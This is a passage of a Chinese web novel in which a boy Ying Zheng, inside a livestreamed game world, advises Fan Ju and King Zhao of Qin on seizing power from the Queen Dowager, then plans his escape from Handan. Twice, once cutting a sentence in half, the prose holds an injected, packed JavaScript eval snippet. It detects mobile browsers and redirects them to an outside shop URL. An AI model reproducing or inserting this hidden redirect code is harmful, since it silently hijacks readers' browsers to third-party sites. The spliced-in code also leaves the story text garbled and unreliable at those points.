“大王早有收权之心。天下岂有人甘为三十载傀儡之君?”
范雎起身,将写就的竹简仔细收入怀中。
嬴政目送他匆匆离去的身影,一块唯有他能见的荧幕悬在半空。
【玩家请注意,未成年防沉迷模式保护中,副本剩余时间:一个月】
“先生。”嬴政忽然开口,声音在寂静的院落里显得格外清晰。
范雎脚步微顿,侧身回望。
嬴政凝视着他的背影,一字一句问道:“事危身死,何以蹈之?”
明知前路险恶,九死一生,为何仍要踏入?
站在历史的后面,嬴政知道范雎最终能赢,能成为他曾祖父嬴稷最器重的臣子。可站在此刻,没人知道参与进秦王的家务事下场会如何。
范雎大笑道:“欲成非常之功,必行非常之险。我若畏死,当终老魏亩。死,我所不避;平生碌碌,我所不取。”
随即,范雎快步离去,嬴政站在原地,重复着一句话。
“……平生碌碌,我所不取。”
嬴政缓缓攥紧了拳头。
7. 第 7 章
两天后,嬴政才又见到范雎。
人已全然不同。衣袂飘然,腰间青玉温润,俨然已是朝中大夫的气度。
“收拾行装,我们迁居。”范雎声音微哑,眼底却有掩不住的亮光。
秦王嬴稷看完范雎的上书之后,惊为天人,拉着范雎足足聊了两日,聊到二人皆口干舌燥,才暂告一段落。
嬴政脸上并无讶色,只露出“果不其然”的微笑,拱手道:“恭贺先生得偿所愿。”
范雎坦然受下这份祝贺。
“接下来,先生可是要助大王从太后与穰侯手中收回权柄?”嬴政环顾四下,确认堂中再无旁人,方走近范雎身侧,低声相询。
范雎却摇头:“时机未至。我与大王尚未建立起足够的信任——他不能确信我真能助他夺权,我亦不知他是否愿力保我周全。”
“骨肉亲情,我这个外人若想插手,须万分审慎。稍有不慎,便是万劫不复。”
言及此,范雎却又忽而一笑,慢条斯理地整了整衣襟:“可若无泼天的凶险,又哪来泼天的富贵?”
二人收拾停当出门,院外早有车驾仆从静候。为首一名仆役见范雎携嬴政步出,立刻躬身趋前:
“主君,仆等乃大王所赐,今后听凭差遣。”
余人亦纷纷上前,手脚利落地将那些简单行囊捧入车中。这些新仆个个衣冠整洁,面容白净,举止伶俐,与先前那名连话都说不利索的老仆迥然不同。
小半个时辰后,马车停在了一处宽敞大宅前。正门是整块栎木所制,包着三指宽的铜边。
庭院以青石板铺地,缝隙间不生杂草,唯有东南角植着两株松柏,修剪整齐。
最重要的是——此处距王宫不过十里。秦王若想召见,顷刻可至。
可无论是嬴政还是范雎,谁也没有为这比先前好上十倍的宅院驻足停留。
范雎要的,是比魏齐府邸更煊赫的秦国相府;嬴政心心念念的,则是十里外那座巍峨的秦王宫。
安顿下来,范雎便将嬴政引至书房。
这宅子原是秦国一位获罪贵族的府邸,籍没后成了王产。书房中数百卷竹简仍整齐列于架上,平日有专人打理,并未遭虫蛀蠹坏。
你且在此静心读书。往后数月,我怕是顾不得你了。”
范雎指了指满架竹简,便转身入了隔壁房间。
嬴政看着满书架的竹简,缓慢地眨了眨眼。
在范雎心中,他是什么嗜书如命的人吗?先前看书,是因为他无事可干,又对魏国没什么兴趣。现在回了秦国,他为何还要沉浸书海?
【来了来了,我就知道小主播不会放过学习!】
【笔记已备好,奶茶已就位,主播快带我们期末冲刺!】
【主播怎么没抽中宋明副本呢。连中三元指日可待啊!】
【哈哈哈,我已经毕业了,看主播和你们学习真快乐】
【上面别走,报坐标线下单挑】
【不过这些竹简看着就沉……要是能有纸就好了……】
嬴政迟疑片刻,终究还是踮脚取下书架偏高处的一卷竹简,在书案前坐定。
来都来了,管他什么学问,先学了再说,反正闲着也是闲着。
一坐就是三个时辰。
弹幕渐渐从“哈哈哈”变成了“恐怖如斯”“学霸降临”。
直到把一册竹简全部看完,嬴政才缓缓吐出一口气,放下竹简,起身伸了个懒腰。
他揉了揉酸涩的眼,推门而出,见隔壁书房已亮起烛火。
嬴政未作多想,自去用了晚膳。可直到膳毕,仍不见范雎身影。
“先生还在书房?”他随口问侍立的奴仆。
得到肯定的答复后,他思忖片刻,行至书房门外,抬手轻叩。
范雎拉开门,见是嬴政,侧身让他进来。
嬴政踏入屋内,迎面便见一幅巨大的帛制舆图悬于木架之上。六国疆域以各色丝线绣出,其上朱砂批注密如星斗。
范雎走回舆图前站定,忽道:“我劝说大王,先攻魏国怀城。”
“取了怀城,再下邢丘。此二地紧邻秦境,一旦攻克,可立刻并入版图。其后转攻韩国——韩地与秦疆交错,取荥阳,便能将韩国楔入秦土的部分尽数吞没……”
“待那时,大王便有足够的底气,与太后、穰侯周旋。”
他话锋却在此处一转,看向嬴政:“这原是我的谋划。可如今,计划需变。”
言至此,他便不再往下说,只静看着嬴政。
嬴政明白范雎在考他,略一沉吟,道:“先生原以为武安君是穰侯魏冉的人,故欲让大王先以开疆拓土之功立威,证明自己不逊于太后。此事只能缓图。”
“可如今既知武安君并非效忠穰侯,大王收权便无须再忌惮白起。甚至,或可争取白起支持。”
“纵使白起不愿从命,只要他两不相帮,大王便可命蒙骜调兵夺权。”
嬴政神色冷静,语气毫无起伏。
范雎忍不住侧目看他。他虽早知嬴政心智远超常人,此刻仍为其对时局洞察之敏锐所震。
这小子天生就是政斗的一把好手啊。
“太后执掌秦政三十载,从无纰漏。你将此事想得简单了。”此番反倒是范雎显出几分迟疑。
他多谋,而多谋者,往往少断。
嬴政抬起眼:“太后年已八旬,亦无废王另立之心。何况太后与大王乃是亲生母子,大王尽可放手一搏。最坏的结果,无非是夺权未成。可难道那时,年过八十的太后会废了自己已经在位三十年的亲儿子么?”
范雎呼吸微微一滞。
他被嬴政这番话镇住了。
“让我再想想……”范雎缓缓坐下,心乱如麻。
他本来只想考一考嬴政,没想到嬴政反而抛给他一个难题。
若依他原本的谋划,当以一年为期,一面与大王建立信任,一面借开疆拓土之功立威,同时试探军中诸将态度。这是一套很稳妥的做法。
可嬴政的意思是,先安内再攘外,夺权在前,开疆拓土在后……这是一个最快、也最凶险的法子。若成,无须再等两三年。一旦穰侯去位,他范雎立时便能登台拜相。
若这只是孩童妄语,一笑置之便罢。偏偏他听完竟觉此策胜算不低。更不妙的是,他范雎也是个喜欢冒险的性子。
范雎摇头苦笑:“真是一语成谶,若无泼天的凶险,又哪来泼天的富贵……”
“罢了,这个难题还是留给王上去抉择吧。”范雎干脆两眼一闭,将这个难题甩给了嬴稷。
说到底,要不要对太后动手,要怎么动手,都得大王说了算。
嬴政闻言,嘴角弯了弯,步履轻快地退出了书房。
在这件事上,他觉得自己比范雎更懂自己的曾祖父。继位三十载,头顶压着太后,朝中杵着四位权臣。哪一个掌权者,能毫无怨言忍三十年?
他在赵国就待了八年都恨不得把赵国掀了。
“五十八岁……好遥远的年纪。”嬴政立在庭中,望着攀上树梢的半轮凉月,轻声感慨。
他在现世不过八岁出头,在副本中虚长了一年多,也才将将十岁。连曾祖父年岁的零头都及不上。
108号适时跳出来,鼓励嬴政:【当今秦王五十八岁才开始夺权,用了二十年的时间依然名震天下】
这也是它与嬴政的约定——在副本中,不得暴露现实身份,故只能以“秦王”代称嬴稷,反正不能开口就是“我曾祖父”。
嬴政静思片刻,认真道:“大王昔年曾在楚国为质,是芈太后将他接回,扶上王位。旁人因此轻看他,以至年近六旬仍不能独掌权柄。”
“受人恩赐,便要为人所制。”这句话说的含糊又一闪而过,快的连直播间的观众都没听清。
嬴政话题忽然一转,轻描淡写道:“要是我为秦王,定然忍不了三十年……最多忍到行冠礼,我就会夺权。”
【哈哈哈,小主播年纪不大,牛皮倒是吹的呱呱响】
【……万一主播真有能力呢,刚才主播给那个范雎的建议,我感觉挺靠谱的】
【纸上谈兵哪个穿越者玩家不会?隔壁那个自称“野外生存一哥”的玩家现在还在逃荒呢!】
后台资料库显示“嬴政13岁即位,22岁冠礼后迅速了铲除嫪毐、赵太后、吕不韦势力”的108号:【。】
……对它的玩家来说好像真的不难。
翌日,当范雎将两条路摆在嬴稷面前时,这位秦王果然不出所料,选择了更险、更快的那一条。
——嬴稷并不知道自己有个“战国超长待机王”的绰号。在他自己看来,五十八岁,在这人均寿数不过三十五的世道,已算高寿。自然是能早一日掌权,便早一日。
半月后,嬴稷在章台宫密召蒙骜。
又数日后,一纸王令,调白起赴咸阳郊外大营巡边。而此时,穰侯魏冉尚在他的封邑巡视未归。
秦国朝堂好似被蒙上了一层风雨欲来的雾气。
某一日清晨,范雎系好宽带,深吸一口气,拦住了要出门的嬴政。
“可想去见见世面?”范雎视线看向院门外,遥遥眺望王宫的方向。
“可能会死无葬身之地,也可能一朝青云直上九霄天。富贵生死,皆在今日了。”
其中凶险,哪怕是范雎用轻描淡写的口吻道出,依然足以让人心惊胆战。
嬴政扬起下巴,他说:“我要去。”
上了车驾,一路平稳,只有马蹄声和车轮滚动的声音。
““我实在对不住郑兄。”范雎忽然开口,长叹一声,“他将你托付于我,我却要带你入这龙潭虎穴。”
“可是你的天资太高了。我平生从未见过如你一般的璞玉。”
范雎定定看着嬴政:“良材需经琢磨,方成美器……今日无论发生了什么事情,你都要牢牢记住,把今日经历变成你自己的本事。”
嬴政深深看了范雎一眼,揖礼:“先生教诲,政谨记于心。”
时值春日,咸阳宫的飞檐还凝着夜露。朝阳自冀阙东升,将宫墙的影子投在甬道上,道旁几株辛夷正开到盛时。
范雎已带着他,步履不停,直入章台宫。秦王嬴稷已早早在此等候。
这是嬴政第一次见到嬴稷,这位他血脉上的曾祖父,赵人口中唾骂的暴君,六国谈之色变的“虎狼之主”。
趁着嬴稷和范雎低声商议,嬴政站在范雎身后,光明正大打量自己的这位曾祖父。
秦王嬴稷站于玄漆玉阶之上,身着玄衣纁裳,腰间佩苍玉,悬长剑。他已年近六旬,面容清癯,眼窝深邃,鬓发已掺银丝,目光如鹰隼般锐利沉静。
“走吧。”嬴稷与范雎对罢最后一处细节,转身即出。
一名身披重甲的将军默然随上。经过嬴政身侧时,他朝嬴政略一颔首,露出一张让嬴政觉得眼熟的脸。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17344872|199492||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
与蒙武那傻小子有六七分相像,想来就是蒙武的亲爹蒙骜了。嬴政只用了三息就确定了此人身份。
嬴稷脚步迅速,蒙骜与范雎紧随其后,直趋太后所居的甘泉宫。宫门外已有甲士森列,嬴稷抬手止住欲随行的侍卫,只携三人步入。
宫室内灯火通明,芈太后已端坐于正殿席上。她一头白发梳得一丝不苟,身着深青色常服,面容平静,不见波澜。见嬴稷入内,她抬眼看来,目光在蒙骜与范雎身上一掠而过,在嬴政脸上顿了顿,最终落回儿子脸上。
“你终于来了。”她声音不高,却清晰平稳,仿佛早已料定今日。
说罢,她缓缓起身,未看任何人,转身走向殿后那面紫檀屏风。
“跟上。”她留下二字,身影已没入屏风之后。
嬴稷神色不动,对蒙骜略一颔首,蒙骜当即按剑立于屏风外侧,如铁塔般镇住入口。范雎则垂眸静立一旁,呼吸微屏。
嬴稷独自一人,掀开垂落的珠帘,步入内殿。
殿中只燃着一盏雁鱼灯,光线昏黄。芈太后已坐于窗下矮榻,示意嬴稷也坐下。
嬴稷依言坐下,背脊挺直如松。内殿烛光昏暗,将母子二人的影子投在墙壁上,交错、对峙,又奇异地交融。
“既已来了,便说说罢。你打算如何治秦?对秦国内政和关外虎视眈眈的六国,作何想法?””芈太后缓缓开口,声音里听不出喜怒,只有一种经年累月沉淀下的沉稳。
嬴稷喉结微动,沉默片刻,方沉声道:“内政,当强干弱枝。中枢之权,不容旁落,宗室、外戚、功臣,其势过大则损国本,当徐徐削之,使权归王室。”
他抬眼,眸中锐光一闪,“对外当行远交近攻之策。结好齐楚,使其不为害;而后全力攻伐毗邻之韩、魏、赵,得一寸土,便是一寸秦土。”
芈太后垂目仔细思索,手指在案几上轻轻敲击两下,过了小半个时辰才抬起头,面露赞赏。
“这是你那个新客卿范雎的献策吧。商鞅以法强秦,张仪以横破纵。这位范先生是如商鞅、张仪一样能使秦国强大的贤才,你要好好重用他。”
她忽地长长吁出一口气:“你想做什么,便去做吧。魏冉、芈戎他们……别伤他们的性命,毕竟是你的舅父和兄弟。”
嬴稷骤然抬首,眼中是无法掩饰的惊愕。
他没想到芈太后这么轻易交出了权力。
“为何?”他声音干涩,“若母后早愿……”
“早给你?”芈太后打断他,嘴角扯起一个极淡的弧度,“稷儿,秦国不仅是你的基业,也是我的。我十六岁入秦,六十余年心血,皆系于此。”
她站起身,步履有些蹒跚地走到窗边,早春寒冷的风掀起她花白的发丝。芈太后望向窗外沉沉的夜色,那是咸阳,是秦国的疆土,也是她的一生心血。
“王权,我不能给,只能等你来拿,来抢。你必须证明,你比我更有本事统治这个国家。秦自襄公开国,至你父惠文王,又到我这,多少代君王呕心沥血,方有今日之强。我若轻易交付,才是对列祖列宗、对万千秦人不负。”
芈太后转过身,目光如电,声音苍老却依然凌厉:“今日你带人踏入此门,便是你证明了你的胆魄与手腕。但还不够。”
她走到嬴稷身前,拄着拐杖,身体前倾,一字一句,重若千钧:“我要你发誓。用你赢姓子孙的血脉,用你秦王的冠冕发誓——日后,你要为秦国呕心沥血,让秦国比在我手中时,更强大,更不可摧。让关东六国,闻秦之名而丧胆!”
嬴稷面色更加严肃,他缓缓起身,整肃衣冠,朗声道:
“秦国现任君王嬴稷,在此立誓:此生余岁,必为秦国之强盛,殚精竭虑,死而后已。必使我大秦,疆土日扩,威加海内!如违此誓,天人共弃之!”
屏风外,蒙骜与范雎同时低头,不敢听君王母子内事。嬴政却抬起了头,看着屏风,目光炯炯,心血澎拜。
里面的人是他的曾祖父和曾曾祖母,他的身上,留着她们的血。
又过了将近一个时辰,芈太后与嬴稷才一前一后自屏风后转出,二人之间的气氛也比先前和睦了许多。
当权力过渡完之后,政敌又变回了母子。毕竟芈太后不是武姜,嬴稷也不是郑庄公,母子之间没有“郑伯克段于鄢”的矛盾。
芈太后的目光落在静静立于范雎身侧的嬴政身上,微微一笑。
她招招手,声音是难得的温和:“孩子,过来。”
嬴政抬头看了范雎一眼,见后者几不可察地颔首,方稳步上前,依礼作揖。
芈太后伸手将他揽到身侧,抚了抚他的发顶,抬头对嬴稷笑道:“这是我哪个孙儿?瞧着真俊。”
她眼神有些恍惚,陷入久远的回忆,“和你年幼时长得真像。尤其这眉眼,这看人时的神气。不过,想来如今也无人记得你儿时的模样了。多少年过去了,你头发都白啦。”
嬴稷:“……”
和他小时候长得像?这不是范雎家的小孩吗?
嬴稷仔细端详嬴政。这一看,心中却是猛地一跳。方才在章台宫光线不明未曾留意,此刻细看,这孩子的面容轮廓,竟真有几分熟悉之感……尤其是那挺直的鼻梁和紧抿的唇线,还真有几分像太子柱年幼时的模样。
范雎看看满脸慈祥的芈太后和若有所思的嬴稷,缓缓:“?”
八十岁的老太后和五十八岁的大王双双眼神不好使的概率……应该也不小?
8. 第 8 章
回章台宫的半路上,嬴稷看着在芈太后口中“和稷儿年幼时候有六分相似”的嬴政,终究按捺不住,问范雎:“这是范卿的儿子?”
范雎神色如常,答道:“乃臣一故交之后,名叫张政,故交在魏国经商,将他托于臣照看。其父母俱已亡故,身世飘零。”
他语带叹息,将嬴政的来历交代得清楚明白。
嬴稷“嗯”了一声,未再深问,心中疑窦却未全消。那孩子的气度,绝非商贾之家能养出。他暗自决定,回宫后要召他那个傻儿子细问。
母亲说像自己幼时,自己看着又像太子年少时……天下哪有这般巧事?
嬴稷目光慈和地看向嬴政,招手唤他近前,俯身问:“年岁几何?”
“十岁。”嬴政抬起头,他努力板着脸,想要让自己看起来更稳重成熟些,可眉梢却透出两分遮掩不住的仰慕。
这是他从小到大见到的第一个父系血缘的长辈,还是他最崇拜的长辈。
今日顺利收权,未与生母反目,比预想中更为顺遂。心头大石落地,嬴稷便露出几分罕有的温和。
“才十岁,好小子,个高肩宽。”他拍拍嬴政的肩膀,倒不觉得十岁孩童有此身量稀奇。他自己就是大高个,更别提他还有一个天生神力、举鼎而死的亲哥了。
嬴稷回想起嬴政今天的一举一动,语气带上几分欣赏,“临大事而有静气,胆魄非常。是个好苗子。”
这么一想,嬴稷更觉得嬴政像是他孙子了。身材高大、胆魄过人……这就该是他亲孙子啊!
“大王谬赞。”范雎见势不对,生怕救命恩人的外甥再被卷入什么坏事中,忙上前将嬴政挡在身后,又将话题转移到后续如何处置“四贵”上。
嬴稷果然被成功带偏了话题,和范雎商议起了如何处置“四贵”,也就是他的两个舅舅和两个弟弟。
只是嬴稷的语气十分轻松,他忌惮的从来只有芈太后,至于舅舅和弟弟们……就算没有范雎相助,嬴稷一个人也能把他们按在地上捶。
车驾回府,已是深夜。夜色浓稠如墨,车驾碾过空旷的街道,石板路上回荡着吱呀的轮声。更深露重,寒气无声漫入车厢。一切皆静,只有远处传来几声短促的犬吠。
范雎面有倦色,对嬴政道:“今日惊险,快去歇息罢。”
他揉了揉额角,“大王与太后所言,你不必多想。天下之大,无奇不有,容貌略似也是常事。”
嬴政却未动。
他眼前只有自己能见的荧幕上,倒计时正无情跳动:【倒计时,一个时辰】。
“先生。”他忽然唤道。
范雎回身。
嬴政仰头看着他,烛光在那双清澈的眼中跃动:“舅父他日来找先生求官,先生万万不可让他领军为将。”
范雎微怔:“为何?”
“他根本不读兵书。他读书还没我多,舞刀弄枪的招式会几招,可带兵打仗的本事一点没有。”嬴政带着点吐槽,还有怨气,“我催他多读几卷书,他一次没听过。”
对那些不上进的大人,嬴政一直颇有微词。阿母赵姬便不爱读书,副本里这个便宜舅父亦是如此……这般不肯用功,如何能有出息?
“为将者,不知兵,肯定打不赢仗。先生重情,莫要因情害了他,也误了先生。”
嬴政细细叮嘱一番,见范雎应下,才转身走向内室。他蹬掉履,和衣躺在榻上,望着帐顶模糊的纹路。室内寂静,只有窗外夜枭咕咕声,和范雎渐远的脚步声。
就在那脚步声即将消失时,嬴政忽然提高声音,清晰说道:“先生,您日后定会名震天下、青史留名。”
脚步声戛然而止。
片刻,范雎折返,替他掖了掖被角,声音低缓:“庆功的话,留待明日再说罢……来日方长,日后之事谁也说不准。”
真不知这小子哪来这么旺盛的精力。他提心吊胆一日,如今连开口都觉乏力,嬴政却仍能神采奕奕地说这许多。
很快,一切归于平静。
嬴政窝在被窝里嘀咕:“我还真能说得准……”
他可是从小听赵人辱骂范雎长大的。
嬴政闭上眼睛,再睁开眼睛时候,已经又是赵国邯郸。
周围的一切都静止了。
108号雀跃地蹦出来,撒开电子花瓣:【恭喜通关!人气值:700!接下来要定分区和名称啦!】
嬴政的人气在新手副本中已经算中上了,虽然他年纪小,又被戏称为“学习流”主播。可他这张脸实在得天独厚,虽然年纪小,可还是吸引到了一批颜粉。
嬴政还不太适应忽然从十岁变回八岁,他更加惊叹于系统鬼神伟力,对108号的态度也更加温柔。
“都听你的。”嬴政知道108号不喜欢自己叫他“先生”,于是他换了一个更亲切的称呼。
他弧度尚圆的眼睛望着光球,满是信赖:“我与108,生死相依,心意相通。我什么都不懂,还要劳烦你多教我。”
108号的数据流微微一滞,核心温度悄然攀升。
不,这是会对王翦说“将军虽病,独忍弃寡人乎”的始皇帝!他在用话术拿捏我!
可嬴政现在才八岁,他能骗系统吗?
光球晃了晃,终是妥协:【我这边有大数据显示,你目前最适合的分区是“基建区”。不过我可以向主系统申请一次更换机会……】
“‘基建’二字,是何意?”嬴政露出恰到好处的求知神色。
【基建区:玩家主导或参与基础建设(如修路、建城、发展工农业)、制度完善(法律、经济、教育)、民生改善(医疗、文化)等过程】
【学习也属基建的一种……我偷偷给你开一会儿权限,你可以先看看其他玩家的直播间】
108号展开一面小小的光屏,浮于嬴政掌心。
嬴政看向屏幕。
画面剧烈颠簸。一个瘦骨嶙峋、衣衫褴褛的男人咧开嘴,白牙在黧黑脸上格外刺目。
他一把抓起脚边灰绿色的野菜,囫囵塞进嘴里:“我这回运气不好,一进副本就成了灾民,不过主播精通荒野求生知识,这个野菜就可以吃……”
男人喉头突然发出“咯咯”怪响,眼球上翻,口吐白沫,直挺挺向后栽倒。
直播间骤然黑屏,唯余一串【哈哈哈】弹幕飘过。
嬴政沉默地退出,瞥了眼分区标识:【龙傲天逆袭区】。
原来
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17344873|199492||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“龙傲天”是傻子的意思,神界说话真是委婉啊。
108号尴尬的切掉屏幕:【意外、纯属意外】
新出现的画面里,一位绝美女子正柳眉轻蹙,眸光如水地望向桌前佳肴,大有西子捧心之态。下一秒,她忽然挑眉一笑,甩出一口脆亮的方言:“大家瞧好,俺给恁表演个‘两口一只鸡’!”
话音未落,她已利落地捋起袖口,但见嘴巴开合间,肉尽骨出,一条光溜溜的鸡骨头被她“啪”地丢进盘中,全程不过三五个呼吸。
嬴政看了眼这直播间的分区:【深宫区】。
“我觉得,‘基建区’就很好。”嬴政语气诚挚,手上动作却快得惊人,“我已想好了,日后要建天下最大的宫殿,最长的水渠,还要让天下人只学一种文字……”
他一边说着,一边迅速点下确认键,顺手将直播间名称改为【我爱基建】。
108号已经羞耻地说不出话了。
它转移话题:【玩家是否要使用人气值兑换物品?】
“我要能逃回秦国的地图路线。”嬴政迅速开口。
【所需人气值:一千】
嬴政缓缓眯眼,嘴角却好心情地勾了勾,丝毫没有因为买不起而沮丧。
他已经确认能换到他真正想要的东西了。
“我要从赵国邯郸,到魏国大梁的路线图。”他清晰地补充,“就是在方才的副本里,‘张政’走的那条路。”
光屏上价格跳动,显示出一个他能承受的数字。
嬴政没有半分犹豫,抬手点下【兑换】。
一卷简图,凭空浮现在屏幕上。墨线勾勒的山川、河流、城邑、关隘,甚至几处可能遭遇盘查的路口,都做了细细的标注。
嬴政盯着这张地图,将图上自邯郸至大梁的路线,与他在副本中随范雎自魏入秦的路径,在心中严丝合缝地拼接起来。
从赵国到魏国,再从魏国到秦国,绕过防卫森严的秦赵边界,从魏国中转。
嬴政呼吸不由自主地急促了一瞬,他用力咬了下舌尖,刺痛与血腥味让他迅速重归冷静。
接下来,他只需要说动他的“郑安平”协助他逃亡。
嬴政豁然起身,不顾现在天还没亮就走到赵姬卧房外,轻扣屋门。
“阿母,”他看着惊醒的赵姬,“请替我转交书信给吕不韦。”
“请吕先生,助我们逃回秦国。”嬴政一字一句,万分认真道。
赵姬愕然瞪大双眼,手中玉簪坠地,叮当一声碎成一地碎片,赵姬却全然顾不上这支她平日最心爱的玉簪。
“什么?”赵姬声音惊慌。
嬴政抬头看着赵姬,神色是远超年龄的平静:“阿母,我们必须回秦国。”
曾祖父嬴稷曾在楚国为质,武王嬴荡举鼎暴亡,他才在生母宣太后的运筹下,于咸阳即位。而后等待三十余载,直至五十八岁,方从宣太后手中真正收回权柄。
嬴政不知道自己有没有曾祖父那样的天命与寿数。
他只知道,他的母亲不是手腕通天的宣太后,他也没有穰侯魏冉那般权倾朝野的母舅。
无人可倚仗,无势可凭借。
他只能,也唯有,靠自己。